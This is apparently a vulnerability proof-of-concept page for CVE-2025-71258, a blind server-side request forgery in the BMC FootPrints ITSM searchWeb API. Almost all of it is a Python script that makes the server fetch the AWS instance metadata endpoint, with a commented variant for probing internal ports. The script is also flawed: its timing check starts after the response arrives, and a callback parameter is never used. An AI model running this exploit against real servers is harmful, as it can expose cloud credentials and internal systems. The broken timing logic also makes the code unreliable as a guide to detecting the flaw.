CVE-2025-71258: BMC FootPrints ITSM searchWeb API组件Blind SSRF漏洞

import requests import time target = "https://vulnerable-server/ searchWeb endpoint" # Blind SSRF PoC - check internal metadata service # This PoC demonstrates how an attacker can cause the server to make arbitrary requests def exploit_ssrf(target_url, attacker_callback): """ PoC for CVE-2025-71258 - BMC FootPrints ITSM Blind SSRF This demonstrates sending a crafted request to the searchWeb API that causes the server to initiate an outbound request to an arbitrary URL. Note: In a real attack, the attacker would use time-based detection or an external server to log the requests. """ # Malicious payload targeting internal metadata service payload = { "searchQuery": "test", "url": "http://169.254.169.254/latest/meta-data/" # AWS metadata endpoint } # Alternative: Internal port scanning # payload = { # "searchQuery": "test", # "url": "http://internal-server:port/path" # } try: response = requests.post(target_url, json=payload, timeout=10) # Time-based detection for blind SSRF start_time = time.time() # If the request takes longer, the port might be open # (connect timeout vs read timeout behavior) return { "status": response.status_code, "response_time": time.time() - start_time } except requests.exceptions.Timeout: # Timeout may indicate the request was made but no response return {"status": "timeout", "note": "Potential SSRF detected"} except Exception as e: return {"error": str(e)}